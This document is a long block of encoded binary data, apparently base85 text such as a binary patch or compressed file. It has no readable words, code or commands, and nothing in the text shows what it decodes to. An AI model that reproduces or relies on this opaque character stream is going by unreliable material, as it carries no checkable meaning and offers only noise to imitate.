zw|S*Z=$RYh{nFa#ZEq!KK`W;75kl^HC};j=ETQr)HPoZ?e8_9lH75}a#tSpzBWH4{ zBD)(;(eU;&<~(FO*4A$YcbuIN*L8%Su6S%RJFbReO?^3PZv~w6=%#N=He~HWuIw+w z3;SUs+mrP_gdQ1V)*eEmNwY(V#%8FLiYQZW#aMor`Dd$^AfV^Wa;TEChySikcg3o7 z{T%tb?cz6I;H=q@c2dMa>OE0WhUmeG%#;e6Bvty52N5hj(H!FeKbKxn zjINk@F0wna!hQbsj3E9=F_}%V&jb=GY6;31gQD^hjCPf0=j{1sxO2l#hJ!woPvH6fcPbMyPz6a0bTs zy-dsi@!+<8zQzHMPCq^buz36$2Vb#LQQFmT&IWpk@T5`wL@8v*m=Cc@DO*<3;s=tv zdI|H(5xYiYy~E+Fg#6=;=1TN3H!m)qK#>pHVYe*ljLI?ePMNGI2=FASIWVrU`B9X& zUacT>Mw0S4J8?`sLgP(|$4~45)?+1zyq|3PaUZ$$8Tg}G#WFX?vo2*n>!3%z#jV`S zh>VW_NQJdt@(Lg)qzGhCXk;pU^ZD$!;MtjE>L_p!huAY@sxRf#9%OqPrTYlv`_;nV zJyU!(Y1iRo5yr4beC0Rd7@AhmPzNP38+qaB8d5t6Vh>2`AO%a-<#F|xuM34MlRC%b z6qfX+#umnVeHB(2dN;? zb+)`;bkG#itbuonVzX+QU&kkO!pmLw1<%`s7&<5h0&;Lv{#E2V;V`T8^uMF1yc$YE+{LjQfI5{RMFS-W5sr;6y#I7 z`*La(_JZt~yz^?&2XgpF1G#)lati7ij1%{=D%w@*)_OeFG zDck^MDfUJ9jbZVle%)0nsj6ZmI|@kC0NZ5c?)5>!r4HJzvUVp-6LXNVN!10Z#aw;K zbxE||Z5i>A_UjOjv)-y_6Q6w7+{}T7uVBi?Ma_q6khGcXRJgf<0KAqz7E&Mx7e7== zy@mZ1zBlAaqWLBHCqd_^N`Uc}X57B2D*AFT+lsn<0)ZQ0eDKl_%2Y`GFO|~T$&_h$ znb_^*`*3feXWxaSqXOZWQZNEWDJ1;^7MGdL4{fkri{V z+Ch6u{)~kLo9syG*%I^X>pB&!3S$X(>jhIP-doG^zH2%peY%2UwSBt8j7#+PRfEOr zu|uppR+Tx~8|!QuxU(DiR^^A6Egr$2%qEJ`H`fI+)mae^s$t5}?u}v&mC_a_F0u0V1o9kKQ5}?Tr*-Chy@*jo zR1s@Tsyi?8^xs-?pPkgx$+IOt9_oA!?u8=|P|4c)gD3`u*n6=`}Uhg zJLBH?;_&+)-CPXACUe87sKx-WAx!ZJdY+xMPyjT^FPb6vbC&wrZ|db38p$}QRU3GQz$vpsK=(V!daEU%b$fr8^U&HDe4)3 z6(rdEbAjb+R{}weW4wy{SK&;bta6LT%-FwAWU%U(#tqyxX>(mKDR&EQWhu$9b08xTRqgz@5p`WWVcR2KA&q+^y#+L3bGE(F{k}5 z!dY)!I%%E#K2NP7eU!C#C83%>txXAXY>AzFSy&W`u4RIZNzbQ*L_=|s(7{Zf#iwjq zESA$^Bt_|h!=BG;rb%BW6D%ogyP0gi2-z^A}BA>tOMduRi6*gbQByDwK zU({UL_B6}UAzgaEnw`Y&X@i}&V4uq%Qw)E%9+|FDRybJMvh999Nq)8Z+F^`bafQjsgt7n7;5KpFQPSSp^!esV1M&1q1h8ZEf_y!3 ztTnm3iyL7NjdDk_b>py&K6H1(ZlENP2qmf7@Ake>5+jGFuUG9RYzKj3 zSD@=Tz0?nldu@?J5{ff+M>i&oGffo^;T1Y=?gc3#hE8mf-a=Pam^~mqT3p(X%Tz6G6&*~;VJ;?ES-gYQ9w#;jV^28f)$Wi6amJg-(`N>k#a>m(FE%l7?ySo>( zh1nMm^AnF1L1#EkVdpQwvJ`5SqV%>X9?BHWrX^1;a0m3cZeAl_i4~oaCs%BK7`WBc zt34MJImYgFNqwlod?j*lFPF6H?bpT*F>^Qk>haU!z4rbyj9V+L3D5UV6Q(=%R$%G3 zuhb@1IftB82F`J)UXDM=Vke)z?zs`U7|Jdf^LE>4!+4Q}LWSVYSx2?%X}W!M%~~6H zfp|sK_&3VLle|-=m9fDair&|HuU_0W!CBq!!~JF)m*uI4FwdinhbCD!m^CMEUhFTh z3x@XCuMHn2J8!TLeS0k*uQ^|AQ_i%XJD2N6ZaRK?7W8=E`IHi${O)ei|GcC!25r@T z!Z7gJS1ssQ<;tscs8th8&WO}w9l|i0u6>Y}hkyD;Mt+TYm34{z;$liCz8e_xbzb zhl;_lCrGOGD*X+`;LmBS*ZJqyu9MgGk#`#CDO==@DZvDxCbnJTk27ZP)zClFUwxmr zf6jr!GH7*kunkAz_6K#xvFhQPtMn0RGG&!n-9`0+TuCmMr+4I|ab!@-3Fh_7qe*l! zKSr2vZ*A4n-vv`!)M0LR(t*@k}~Bz(FE535ejL|CB0r87)=J-R#TZoR?82( z>b65xvn-G+soDD1Usn>hEAsg-cB{I!v;-!k3y$-}S}s|nr3^|9WzT-6WWkN+J&-Hu z;rfr-Sk10T2nLMGDbM}kcq+`ZEh@8HcWovHw%t&~O?|{?Ne_@{{9t--C=|;6-FNQs z+&`S_%7D|i6i;{Ii?WUCgvXFqT%2||AtJgr?3Ux|~r026sL!k{H^DiTL4 zZRtI~6fcTx6s&@ud){Z!PekE&Qwal%_(=7mzCVvf48P-!^N>f=YI|bq!V;B|L)c=n z%Lk6IyqLy)x7X5-CXYG6_2ZcuOm`%a9W(Hu%z)kTrGqyk{!ZOXqnltHLHj`!!+YOa z7$c0_wu{!YCz>2&>YcnAEvn?1D4+3-n=(vR$E(;TPQ0l&(%>AXFe{vHeZ$>}N2es+ zN>-LIUQ}ls2#fqqX`B^VzNjw;U~AK|@VRfp@FXplJ(4YUhOt7YaX4Ei3rAfqwl{n} zp{?mkfw6WTRv6E!9fEGAGVm^wnbk+rIlL&z1CrX99}tG8mz89koaEMyM+~Xyw*T7y z-gXVo*nXC=WK}fK{>jfB&P1mOn8j6o-M+}A&DcZmTEWb|(>a8=Ed=r25ZfYil=+aC<_YJ0B8Iz15yIs@w=|Xpzy*f3f4W!#6;Rg=)47&O zT2Gk9)Ds?sgnl`^H_sUig>JX(7=2nbyNwFQGx*g#Ja_M#@CD}MUH$2|W6Lc?QG=Nm zBQumZ;gcT*!tNW24sZI}AC;m49hqx$1ab+Gp05`vrACTZm)J9hT=e;h5`KK21fCnW z4^G9&g{9Z1T7^bz(teK&g>-M4t)D6e(a9YLHyjY?UWkY8EXJ@HhQJIf_KsB-j%pi; zEY&ImD7Ya4^j6=cNF^U?pV|;n2$9)6Vb_U+zhx2auW^ zTK|xFIiyaP0*ZTBC9pc15jmTVt8N6&A=#8;$TfXcdbfXAJ}+ zO;$>un`ne2A`8XWd4|GdzdW<$JVzPwI_J;y;U*^579IV(6rU!=WU&6(Nywq@H5(i- zN21|I&UXgKpafKOpEtGgFi2DiHfbz8#+-y^O`Z&50v2}WC$mh9Dkm~EW~DxC#5Ib| zrH{uJe}rd<=jY9btTmPd*cMVPQ4h^}K_&_YZsSO#tN6bzvNTUv^JLO3l?#fO4(;yU z38hZv3c_^&j}y$?6ue zZQNn`^4U3ueE5+f@hHmTg`|h(6VLs+X&=)&?!+>-`W}&EU|W3R7n=;HO__ zb@z{qrKD2&SguQo@t}0lwXxEr*PS=WuYuTuGTy>NYg6pj`}wzFI#m^7 z>?3m-VMn#O&~QW(=~t*E$0)J1^9nNirNT{^bBtE}mSehWZWS(K^Q2K&Vh%cp>v4k8 z{0iRfbSYo4XW#%<|K7>CDiFRT*3Mj`5bpFrI~1w3sslB^^gJu^4zEz$Y@-$;ahIp@ zwuAG~%IXAm>gNU4I4V6Qxsy!CC>)^b)F;zwcEy^+?(2u#(v)TjLWa;qRKZYdrz*tQ zCk^P$Lg;F^iFP}p%C&1#=;vk(5*Fs_XX_P+VNL4L1Oojg_y@DQ9~_#oI_T{$$GiW z3)&0S1~$1O9vfUlSmm8Z7s8d+Dhy>A8m`T^6@h}9olUL_!iq91ZdWTQ<-pl)p+|&l zf=lZe+<6k&e^xI`bdR2p@FgbrZI;P6x%km zIuC$sHIn9e&VC4+2UMSb5kj%u`=JmVF>(J=)nvNG=;=IuF<^_Z+&0O4*j!=_1--ms za#NsYI1pxDnN1`*ejV*RlKsJ#bU}V!h=FsiG2%q7-hEKv`ln_8;kXBB=%PANu(KKC z*YZU5^Cw%{A9OIU>j&=}xieKR{HgrgPZ=zYv79&Gf82Jm&p#r*cipONbqtg_ybS&3 zxN~=eKOo;x%|a$ROXzvy=$YR6aO@|1$oVj*2cT4sW4u2Ab1jymh4eah{ybKr6dt=) zzDC3Rd1~f1N3j3)drL0i-uguFc1HTw5LC}ge-Fo5w!_;|q0@`Mr@%uY^FRUh=ZyKD z_m9#YuS?fl-|icqp93@eS2bX-`=5KZN_bA=SAYZxS{l+o2Fhah>um0-LLT(@ zT?aiQ@DLQ(6eF#*-VN3~=5!K-Wh{6L0$@`fBHR4$vR%aOJWIwr$aO;GXA(EKoc&*U zs0IY6Y`dsLq^r?HZ>0ICTptOxd9h)K$QZAAq~gYhe95Q*bQ@9(m%R_KJ;ZCk zyW1Bu40(wL}Ch2_`Djg|~eFAS2XcHw#5)&z_ zebPr`ii8403lr3K6DR{RItOE%aWYtg0=oKrI%onW8zaV?y)SS3h}UGy=;SOeL98)G zlq7|4Ob4)hrU2+dMz$zs*+MWAGKOjc4ij>K%E9H+KCAZujLp7F`~f$eDMNuNm;*V5 zgNb0>!TTJUpeQ;0_=hRie1YIIsn9mD;Q0aHbKzSXxxj0XFme&swW$CRh3L77FdN0| z(t(($*^6<3Xf=sM#Lj2*eenX#U*C$ngNvjU!DUj4WO68Efkm>_MbhK5Qb!o_-G_1( zW;_w5-1BB{`iFEXsu+(H?C%tEF-1zql*-t}vd{}}gGKU8#VR@p0gS5v^%W{0yjXId zBpF-B#!si3Qn$G{rRykUs910MNN-pfq6uK& zQb2S?Y4}`h$b^O%ZXn461~utNU`9DX2{ZvvnsNc_lJL!Jz^RLh%~X!fG>*+Js4Q%b zEhK@K-+|`%AH`NNz)C^$^jSDnAW*BE$`%-4+ijse478i3vMZpn+@`XwP6auU^!F_s z-!1ek(iKc*obJh%2v5rGG^QD;UEhmc0aR|1C1Ac|nWTt|Jm@Aa#U8H|Up-2`ez$b+ zDE5r8^h`M6%BJ>)j`s%Q6*L{&beH(VP})yZf73Z`Pm6Y3Y2R^@uWn>eQ8vCQ#85An)JfkKo0N?5R;2Y!F*!P7?xL)#xh@{eF5gN}Um18kSNT zo?{gTq=~35ji@gTm(}zhK25kKrM1V1dOi8!UF3&N6I(qg%z0|~y&sJ>AO1Qop6D!? zs!W&Z<1C%CEK!IyNwO@7tt^D=%s+r8rTMhbjyBcC`r9&UT1Z)13~l=Nvh);MU+=TF zblsHtvdnRstPm=v@iNopvmekjIo<&|*JTFJWw|PVJixg}6Lp;INnm{lqP$-LaF^eq zB)cBGNV2?$&e|&gSZqKC)HqLapeyk>Pxn114lXZ^p({%%FUzs9&#}%>p>-^v)$}?K z>9$Uur>znyuiCcG*-mbGqpiU%ui>MqrSq#rrmutUm&CL%h9?hZqLSvSXizDK5wB=e z1l>T|G^tc58_@dN+j?7HWGv&ff-FSkHsvuDZPn-21@tz^NGzM~)$1!U*A>;zr9IE*0r=;OQSm=f>2iq}`iIY(=q~%Gt)mlY&_^pA`{^t4ZQ2bO zhKEarWf|IBDo3U-MnV_{?rpmhDgzlayMdKsM3(DNmo@DSZtZaIVJqZNHe-BrqcN3D zTy_=5l^yR4v#*tr$XCa`ks0_`EoAm{)u;X-gR~^WAbQoPBIA;i1)>~!&Qt1 zLvQH57%i#J1SM|;Nb zhCeqFfL}Q9o{9NEHt>Oq`BA9mQIh#dqXy)6ezvH2wy9yX`Gg7Re-5a5(O`Z7?7ieL zzXEGstC@c{*ZegjZIAr=?nrBA+@F5)R!-DhX8Q6^GZIWK7zzu=?#&|+3xJvh@FN|- zT?-)x0SJN=l)n||4HVF0;Ww*=c4UDuWr4N~f|-DT{mKFtS_>D+g1s3C6UZW!R|_9o zi;!CjKf{8wQj4_Xgw(&R&P{nH5v2 z4)Y5u7I&SXmNS&8GcwAZ!09c5t1~tPE3Tn4ZfYG~E-QXX9e#~74t<@lTJ5K=LHwgm z*gbcjYHm?y>WDILiFBQaKUhg%>WNXScQe*veoY&LNtgiHoTrXK{H4yA2zDcd#sZIniB}>NEaHPdcv>bf_`jtiEIob^$as?j5GJND{K@e z^-MQxOb=`nKL+_b2P6;cr665dE{26D8rYcG+3DG(Uh0_;f>;sQvE|u04B5FX8-xTN zm~F*5$&CFcvBmAbJ_Vy8u)4+_!?X&J6tFeT?JY(*Rumr$zt27)5)c%BbWqPSSOternwRiBSZ)2+10) z-xc>~R{u}8?D^(c!^vm4j%#7N11F^bX);CbK+OU@T7l;LE3|J^MM^~qhFvP^Bk zB%AMFfWGVsCy0I`&pX-Te**d-5)V0VM-2v~mgRNGTk8%+;>ZWo<RR_d%Et_nYYE36{7&YwkHed#3L4dxNo6M8|gqFdKmz#spMEV}s zI?wekh$#zw#jf_J9hiE{(6&GAKW}#b3(&VvVL0;_(06+<0n&?f|M?#oMSlMR^sVB6 z!E>FG*gyz?0DUnM(tE+U@0?)Z74|PWA#R+2eLtcE3sN`oadr6!KuVf$5H?lseiX;^ zA(=Jt^63)m2qr2bYxm?`Va&@GtZ9rmRaucVQ+Mf7f|BGJ8aRQLAY*XBp*cFlN%QSdZ=WV9~r)+I^CWL_sZN+E5>8NSdNW;xC_$;EkL zROP1yQC#Pzg>jN}XGKXGHfP0Y7UgHaEDw-gBrk*x)GeE0b6!>oEC-SIn$OQGYKK4Q zE-D+BZ7!->kIOHrJD<-lYI>pRFF|?{5TI|As^YSKlI!BKVOEmLTlhdXw+{pql0{R1C$ zgUpDVW#7k8tC7{epc2xbsjp^-6@jX2dpCq9HUT*t;z3X+$KuB~h)PC`1v5lh5>-VS z64hQmA=IRYh@L#wAJ^cuP6yw5K~Mj%Og}B%+TiZ{ z+@sCsk5vj>9jKHdd%XCA)~t)F>&HNL+QZdn`3;N# z+aMbG{C@!Y+HZqdqVf?fr3diWZ$o${^Fe^V0ist>w=4+IxA^}(pzki$Z*ZRyAd@MA zuELcHJ4E8_B)!NGKoZL!43B>%Eh(FjkQ-hk%n&{%FY1z*9TY{8#Dc286p)zjJ4q`I zH?B~?mW)MbPV0Ots|9U=Q=e2sYOhVI*Q}D-d1=n1%R6QS7*0){G-r)IOBF+WNSee% zWaCVqG?#o} z&H;dU7(5 z&izAC(A(_1$p-?CD8$F*YPClf<0q3ZkM$vN>O^uzyUQnhb?ILl0_I<6oeOB3nEy3S zAZXo-*}tH5Jg68*f5*v}yv{^I9=0s0HNS9IgdZRRh%;8+i^5bSBI-209S%xh0dLJy zHSLF>2H6U|h4;)S!-N8n53LuDXMzP2=_uPd#HEX++(nJ}n#z~*mGOWyeN7k3HHHoN zkaKyJYYjXL<&=@lRl0Ci%A?tGsSp5ey8C0Vq?KM!1@ICcS>CgD4+4ZwsE#WP2_K0w zJTj7(tQ3|@W9J`71h^cI6^MtcJ83r@Pk#|u0V7;bFbBAg4(4pFJ{&9siRwDA-$Lf> z1SwZo*#9yjS?dk{(Vf@vk|Tr=BUh8{?d4i0CEL<1`pq*RtswHJ?e_MTx95aU0g0pj zJJ;R5xe>${hYiT`m*z_&YJ%wK?2(~?!!DF6|3 z4O{jH*T90-8qBlRlshySb>OV`#-nvL_MkBdZnvw9jG`l?en6Z|(QEAbV}xFiXgT3T zfyQ4!{9G<%QUf&pG7j=b)EI z8jNXrxJTmjVl84sf)N4>W=gS*vkTTP1G^tF*0eg{IIj-e_XNEc4@ToVEIq&~l1@4w|P=|81U}0Dt2N zw%TZ1el(t%9by!zQ$GX@E-P2#of32@7&e~zB<>#g02`!~I)T?*!B`OX8KNEPK>-Fl zgCSodd0;?P76l>Cqf8^sAS^was22XB)k40oTv6P*t4%}*NxiI9Z<8$+wPByll(!QE ze1p|Y!DwLtqb`;$qEnhrUUhG~=R<*~NkNUF2rnH0k5-X-8g1wk4N;wOoMAWBI3)Iw z^qsIqBo-{LU!J1r=nra?!vt#CefmV)xM~Ex#@+C*yo|yPCl#@*usRRPl@g0v5nwcO zUMgu}_^dI+Qpj0KDkNave8tD+PM}gH##3=r@Ciho7#6EceKe;(8E2{nS=@ks2>vqN zj{1gi`6lR#{j(ZNR%vGB{pDu?;i43A)DdYWEcAZM1^|m>5ijsga3wupJy{)=s7oe{ z)OPJp-==S!y{8Tc17k!M4n1y>AHs0FyC0dTOa)4u#$khuf(~&FT{-z^48??@z0#w_ z=RKAFjeP+nvhrX^VDR8^|5GAMbAZ$bgGw%`_y0;{Vb;;o_CbN3nv%~66$IP-2lfSy zy;wGb#}$;wKA6k+Gr=pel%ku={Do~Ut;H1)5>S1@)|UmvtqNRHt77!z2+b6zRue+G z=F53ldJt?gGUZC6&H@D6M5qti>hOFRm+t#Xz18CfL2XCkUu%pS3a9DZ@5y>F5I`=M z(~)0qj!D4s$th4;f@mg(GcrfM-ED@CS}9R^>eUZ?g_j~NO@UuBh6w0-F-=P{3BTj* z$B!Q~@|3#Tm`hVrmlt}oHCyQD%XAxhyA8nrg^~p3|MhU(cIP8SvDT2is;evP-$d?FZ6s8vPRj;vbgh+jsdK>Tb>V(8gAJwg21d*f`7gNtK zf7k9=e{MIBM3%e%2LvMtDlvjuJ~Ymny%oR}F@)y8fiNKn%8xlO4GI?Kb$RGBdhAQ1I z18Y~f$t_h1jNF5(B%`&dj9MFk1E%E14Q04xoDX(6=2tBj?tMp=S#5|k=1S|+BDL^> z(&AJP|K7hqxUv!mZ{f32bw-^{_vFX)f%3`-+4G9foR5gJN*tb*@KDX(a@*p@@eFH( zj=zbl=`$TE#^C=hk-Y|y<7`2&&Hq2haXi0lC@1{G0j_00CioLHc4G7L9~V=sQqyvr zE+#BOJBW|U;?z?U^YP;MCv(!yaWr6R#9&X>{?GWMOP%={=PT=7lbj01AlT-rnH(9H zXjwjEViFYS7I4GbR*-wkGc(knaKk=4_2-6hE#b?~{|Rgpg*|S5(C^(1TnOV^!PzI0 zB#w&~KFzJOtO@jqsb-B?xJ&2f>hYT(OcTDDE|gfG>n5sP8LC`z;?9SOfjQplMX?>< zYD}RYe;&pSjRa6Zu+8tNhd#vKKTlzZ{~av>U&EoB**?(_Bm_QOPq+fHKrChx`8~6wkwkp42w!0*fGjxX)u1n21IbhhDzxM( z-k$MrCUzh^VL980LKbBLoj$zEureG{o@_Me?@X-Fs!}|v^#^5NMm+^#K{T=O4Hlna z&GzbIKpc1!5->k97<>%RhYTyTT}UDUYQo?-)3RD)aWcBqrQeXuhKxZF^l6z!w*d?` z^$c2@S~sQ{WUaR{z9i$g#HRPYZ5zCf6l}~ePRi^`)j@(^o-b(!!s-st7#)zcCJyh3 zm|V5lzkl1OafbAYSy8`EN5sezia?|x(wA`A@i~GI`Z$1KeS|H?QTobA)Y$u&HezS+ z@%vSoED^%|>OMR zPZmOy$|MX|*isyguShxwIcU*1-yOt@k1*$5v@(tEH!md*7qr_uhy{TD&hN5OcI6;U$)PTM~H4@Z8vk=h4ppqktd$R09-~q(;SlC4h zq{1+_w&x>R=YxLVpj_BeCgd6a=oQw)mhIB9;A4=o+S0>_{09)Pa zvd|*gJ$@*-ev$j(;R9hGhpqD|aMLW75F~VdC4omQ-@aIN2d>t_4QVjdXoJvP^UdFW^Pb9ji1PNZB&wNIDqJ-+eT0gbm`oxtw6u;kcR3fNegNTID5liqvVon*^l2P6B%byf zY?VH5reT)XvyO*o$eO;HK4w92a&nQj2sAdyPhvk2C7R=OEgNOC?5y3kz<7z%-ILtI ztFykWVf8ZV?9g>uE#xS!49Z|mY?-1gU6xrYXe*bJGhmpc>=|ZLFx`1taWY?C5m0f= zy7XWCRrtTBq$n^9ut{*&f9#^5QxXVSEll^1?DKzXn=RKHW1|QIL!#iYl4$@=W&Yho z@mwH4#75A6D%)r^1Rok$hYIQI*ddi4hx1 zEO;QFnI4fsd*c?^*ZW%gj*KeI1yDH%Iuc(wARsGz5>yWQD#g$Op^bFe(Rz1)M2U8Y z2{vVPI9oVFg=+Q7hE3D>s+7E|-{qiE64idj|K@7|m4hrw_d*CfPWM7dLTL8GC{nEU!)bt}`wvWrqp!TxW-gN|LlkNopF_N6A_i zWk)G`9w1+XQ3&mEnpukVak>?-4CHHQK0D5I8m2wTa$5!=t38j)PI7#o&rWjvpg|Dr zAZ(k{{QtXhP{ui&7*C$wa(Rd}u3NZp9gu}SB$K8Q7P;-(JD&>S4_!qq7P>8c^#~b% zetk33{$*{q?8ar|YCXKYXrBebUNgkjIb-lH_Tp75_PaMzJNzSd(h88|gGp$DdSx&zCj(Gu_G<^+0uW);jDTr$ zjiu^IO0+rxI&svJ$rv>e5*baEYekkl<CU0zK*X^1VzeOxYbA33WB4F2s|pq5xHQ3AcLW37n0NJuruA4+I|&( zHuUGD5BzI0@2885hFm*VmKiiCd5=TfLSQfS+2Xgt8zJ+E*M!8;5MjKhrdnaF<8-5J zDCqZ=Z7W_(R_#5N=>6o79pEaWjX1tk>X%8R>+!t6ke zU=$mtJ<$MK52s?#3uiSjoHR6QC|r1gbn-xp99j~*!f1=#95uRD;Y{~+889OHQaD}c zuxr|W04D`*UoJjq5sKbXmX~5d`1uD*XQlXO!eGnWoaPCP!q^n0GC6IOm)OwQgqHPV z`IW`YE{*S0pylJ!R(C4$>D8D*{j*XH|FghK4a#L_ zJ>OhoFHz2w{sB0`Q?m*$QBsxn!)vgXf~#BmT${&xND)#YxX@h3Lqz{Qgja&s`jeP6zz^u*Dv1M% z+7Spohcl#4hAhx)7){IP1r`cvT_@q8W;`B{!=SdLv6*w)4uCI4i75HFnQew3{8p6y zU+x9iEs%yZ7%n1rI!5D0}Jv{O=UdyY~BMQhAsU;7TDVK5wMK_Qh9m8ouSmBYt4ttV(o= zjO6Q$LduFINkZHAN^+bRc~A3UINGg1#8%Nhv1rI^3)ARLB*F;#pKC<`jN{)7P@{in zhpcBk#cq>({|EEJ|C#|R<8K4s%{%t*!{9%+G0Nt#vHxO#()0_`9gVX7$Gl)uN3v9* z^$%&f?Ghelf56i}wlS-P1YdBCO2kh#|1>XXG&@B5fj50E{(BfiAnN1_&Lt*4CEG$+x`T) z)!5-9&(jk~d=Z5aOQeOF?rbyNn5C9O5h;FE9uOkzG^Y{pflEY15Bb2swLx2jPP5>E zJm~E5iJvQx!^sdGy1!U()mZt{-Sea4UPL(C{j+l4mYF=Ku$1)uo)iorC$3bcsGR!q zPB5+tZm!?b6856~zB`N>JWrCRQn<%tOT2Csl+}n6K>{v$7@JPYUNjFf=5FXq9nZE6 zq#_T2G?R_xW-Q-3PoJN>O4>o<)ev{lSLuFf%0$WO)*}DSU>-_)9gDU6G-H!+f+Q<0 zDXIXmZ!4y7PCyou|F(^>fnH2!_yJn>>_m9ydhG)u5l~52qFsq!X(MT(_$o8 z%rao2$2l!9iAX0nKRo``x-`#VoVGk4`rJm7)9eEu4W9F;UsSa5y%8Lq;PRYal)<;p zwsv58{i3deh@%p>pR9tRZsNIIlxRVNU#70c!bclwkjibWg-QrgSn^|@42-1%ovtTH5FTrw5i9R-q zBJob+8n{jT#Eu?0#y-sF-8ep;2(E9viyvCoJDh{<_OwNQypUu6GqT|I5A#9`*vqxj zk(1u?2ay{RFD7lwEN?7v4O6>N)9veoa_LeMb|O0EW?&bK^h_yA;U4zU3=Y^5MB0&qKs(ExnCpPl!-m%bN~##5V8 zVhw{|NS39;*!$yKZPXk{_dKC_K6=5$VaW#Z0gV#iXjG{7cCl2j!ui;2+^8P$G0-Kh zeK2Udyi?A5*qLl#Qw$AYh0%_V_4I{^rdk7BLcwx~bHPmb_n-YCm7_G1G|^~{M{Ib| z44@7rmBszIm%(TCR&>FLTQwo8;gHaTTA{?Mi@9kNVjWrZ3ST!zWhzmP$UZ}AfaijX z2Rj|u!tsv41kb~8>Nr7K_U>ZYal}c4C6wM$I71wUsfcLlu)suUNh81B0)&z#;=PnIg?p8T1=^#{IYvb8-rh*20juuyywx(`dSOq zq*D%V(>mY__E6HCAO5gh7%v-5eK5-f$z<9vz%qG0iAk*3l%E{uIRKXBmH})}O;fR0 zYrz0L4{QZvXEaEbG1n!)RY17#*K+zCP=ykE>8*%TIlnoqIR^T$7n(PR6i!wt8M7)+ zLTe%m5JNmqPhe1)Gt6++*s+^D6VC0Se1 zcS!GK9o0v(=K9HnC!WU8_?LK*&U1j5ps9)=m?o){MvY7d1ICNSTwewk-MP(*9(8@~ za?XCG=cJwBoVVZVhbU>iWkrzASAM9mh=RCo_iao5Pdc+YZY>hC{x0Epn|klPSYv9( z)+HASesj&WL|8VaRR|hVX>R(RoK_BA6Z&(@?&X;ZhTd3QYbR)zU87OePVQ1$uk{q= zFTs_gIzH-geNz^Jh}9N9CRV{QzIMZ=IL=^4fkQRSb)yo6+it0&y;1q;;aq3?O-&dd z5WNgIB7n3*l`xOv-2EW!P&HTCKK6&@K+PayIHABnU^_@V6f<_^0%Cy5r40%p*Tl$85O7)PzhnHR`Fx|rA?TD>s#!!*U z$phTflzk)hqu&~@CM)nadLPv4l&6Ei*M;#Dp|5GvGSdxt?r*CNy=k2tP;gN&Q&w}e zI6869$wkx};IWI(bMUr}zz(WZNn8i?JmjWQi77Nz+=}^3#U~>&#(L?>>m{kQfl_mO z#I#D0rB-A;8)|}D*Y82NePGSCUaWS8w`41$F{b*P8C+n)T;#4{uxtqmSBm7X>p!ZS zo3qK;cL9796YI^bQ*ahCgJ>I;nCnsiWen3;pCO!A<}5*N)B5z6E#7lR*JDQYMg~5{ zKBi`g7^E+#-&03Lq+9i2MZ)F@e(rrXnk2Og-qY8Nt1aSb(Sbc{HG=MJw^;P-`?P7) z&hmDc{;|t8m`m>*p^4iX2({keP-PjE>dQp)^<|vA`&=(+eIJ{NyP;}I+~v!CZOXC8 zqO^m3lHo3Z?uVzTUbox1;#-^M&i}*RTL8te?)##HJHg!{xI>UY2<`zwf(3U11PiW% z4eo>t?(Py?26syc?h@QRknozd*4}%aSNq(1UY&ERZoR6ZYv`Jmnx5|O|NVc~BptAX ztM;J1<~S()-qYsw2w-e>F2Lc8)p^C(NV)$e!IdYRHr9BgjqYQESE=yHd6bC$wz+*w za4E~|WzE`2=u2<@_fgl)fvKB<*DbRRGFRBzVpT_^_q{ymo0+N4Qy4Y)kr@m_zw+sA z{Z_cEO`l($-uTk>BtNt|$}w_oA>-gyJnUh&WmhaVa_o#hFm4(~Q?V!ppoBhr7`WTA%jM=Jk>;H?sB)S%DH(`0P6$bNUTs+zo}~gOr5uPAi^on8@44P~%pc)Nf2S7_LjcGR?c)a*d`t$<~PdsvlR#uPKXMj_=ulW_3U_PcM4sh*6bxQ(USgYRvPkLm#-YkhdMnr| z2KnO#np5igjBV1utT27?eqnXzSl3Hxq9)v{rmU*ll-kD3&0UdYI_IA{&w9czZyMY^ z1a0|vR{&JH!{o(HJeEkQ0qNjz8YT`tu? zUgK__YO{WbYg+nKr#$U=17d$eG}jvi+dX%uIE{3LcZIGg$Yoj?56P(y!i3D|Cd>U% zivtltJ31Bgc_RU7zljsv9!m0f8gL@G)3rKt1Kt%U{Ur8aauZjOczx^cMC!1ngDPBI zKmbMW*D7(E$E&SEWN}5s@<%WkA`~UdYbT_bdK~*It}L*vBwnT6Wx5_#q_67&iU8*>}c=8dS{B=zI>Q^o>M#x7B7h? zff4-H$}>vHA7UwsB`X#%DsxAErsd-AI+WR>_-c?e8LOnIxx{)yQ7A0dayQu74BdC{ zU7o8B6qCH1cK~MvuT&%H?e8rc7b0cZ&OodP87jmaF#$bAxjZKweapV;6OXq80#%bN z2m#1RUMvx?d5FrS*YLxh8Lm=U6k`n}q!Q;2e^P*;m^EWt+GlGI=X|ebUa`oNIn!mf z_Kf(;x5jdmu=v2uNR+}4X~lI*C{8F!d3-%3U1PSHzIhtpjxO504* zM?RMs?AIDAS-lee5K=3XIL$U6l0W%8Np|0nLNL78H9>Z}zDmmtGdw=+oe3uMmm5~o z+S`JwV((B-=x^(krv3_}Qaf$wf(G;&ayxZ?u zzUf+X>{$a@?3Cm%JPOy>ibWClMV!wjUoB zTt3Y8bSU&*e;p9B9xMwtx9GKq-B0&$2J!x^+SARn^Nvi&ufE&sRcY-(9%y0>6C1$v zkbP$%m2ZO((o3iZYqkACwLRS1QUtSwGTb6%Vw5+ej0D*Bny`o2FLXMyLGJ`$-`VS; znS1W{p+}4(>CiGvqOq^mX7H<{jB*0aTVcOPS`U+lr56T&cvZxC6#>G#l#(XY7ws{n zBYll#w`uiObK_XajmXxpH(_ZP%IzN)tX(ktG9gX%*TO7HB{*1}>c}0WR+ENa?GRXz zneNwb4+mKr18rpsje`df!P4d+ z%FrhxrNq{SF4%AqT>~5O9?aIqS7fePDWZDRF`GJScEf$tv^=CHWNJ>CH;}X<@Pj`$ zY#=m}C*5nZZm7{G>dP2eWKn5vDaQPiUf;mTaJ+=D?(;!42E4Cz`s#Ol{ng)n-*bK6+G%R>Wo!Bq>kN%&w^!NF*l4Gnz>1{M zg5pxxM%ao_VC$Ek?TPuFa2YY&!UNBR7U$ZQbraf*?lJuDriKeAtU1=mwU=v%?fUTCI?}r@ zzkYoqc~R_vnZ+lcD#ST2%{gT`x~9I|*X1)W%Goz0v=vddrDtcOA8pdox~66_Lw%BB zm;u%tVYe`tc^Anxo!o7CBuf$1J3_KuEi~{TGQlNKgIK=e%BhW+M$3J)&G&no2!F@w zL2?~}z0h% z#g;OrxP(oNW9(w7*qC0)s1;@>tI$5)@6l>vXkPL%ZQ*{I%3Qmbeb>=iqup@ci{<{Y 